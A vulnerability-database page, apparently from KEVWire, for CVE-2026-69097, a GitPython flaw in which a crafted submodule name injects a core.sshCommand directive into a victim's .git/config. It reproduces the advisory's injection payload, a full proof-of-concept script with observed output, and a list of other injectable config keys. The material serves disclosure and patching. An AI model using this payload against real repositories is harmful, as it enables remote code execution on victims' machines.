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Response snapshot Oct 27, 2026, 00:49 UTC

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VulnerabilityCVE-2026-69097

GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

In GitPython ` None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`:

Published Updated

At a glance

Exploited
Not known
Severity
7.0 High (CVSS 3.1)
Chance of exploitation
0.3% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: gitpython: 3.1.53. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3rp5-jjmw-4wv2 (opens a new tab)

What happened

### Summary

In GitPython ` None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ```

The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`:

`git/config.py:693`:

Continue reading

```python fp.write(("[%s]\n" % name).encode(defenc)) ```

For submodules the name is wrapped as `submodule " "` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named:

``` x"] [core] sshCommand=CMD # ```

therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:

- `Repo.create_submodule(name= , ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from( )` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.

Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.

### PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.

```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git

print(f"# GitPython {version('GitPython')}") # version proof -- first line

MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p

def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip())

benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core]

p_control = parent_repo() git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl) p_exploit = parent_repo() git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control) exp = injected_sshcommand(p_exploit) header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines() if l.startswith("[submodule")][0]

print("control name :", repr(benign)) print(" git core.sshCommand ->", ctl, "(unset)") print("exploit name :", repr(evil)) print(" written header ->", header) print(" git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand" assert exp == (0, MARKER), "not reproduced" print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} " f"into the victim's trusted .git/config (git would run it on the next ssh op)") ```

Run:

```bash uv run --with GitPython==3.1.52 python poc.py ```

Observed output:

``` # GitPython 3.1.52 control name : 'docs' git core.sshCommand -> (1, '') (unset) exploit name : 'x"] [core] sshCommand=MARKER_9f3a #' written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"] git core.sshCommand -> (0, 'MARKER_9f3a') VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op) ```

The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule " "` wrapper balances them automatically.

### Impact

Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:

- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or - `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.

No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/ ` directory name can

Affected package ranges reported by GitHub: gitpython: <= 3.1.52

Scores and how they were measured

CVSS base severity

7.0

Version 3.1As of

CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.3%

Scored Percentile 18.8%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3rp5-jjmw-4wv2 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3rp5-jjmw-4wv2, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-69097, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) (CVE-2026-69097). https://kevwire.com/record/CVE-2026-69097

MLA

"GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) (CVE-2026-69097)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-69097.

Chicago

KEVWire. "GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) (CVE-2026-69097)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-69097.

Evidence summary (plain text)

GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) (Jul 24, 2026).
In GitPython ` None:
 if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
 raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)
```

The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`:
CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-3rp5-jjmw-4wv2).
EPSS 0.3% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69097&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-3rp5-jjmw-4wv2: https://github.com/advisories/GHSA-3rp5-jjmw-4wv2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69097&date=2026-10-26
Record ID: CVE-2026-69097.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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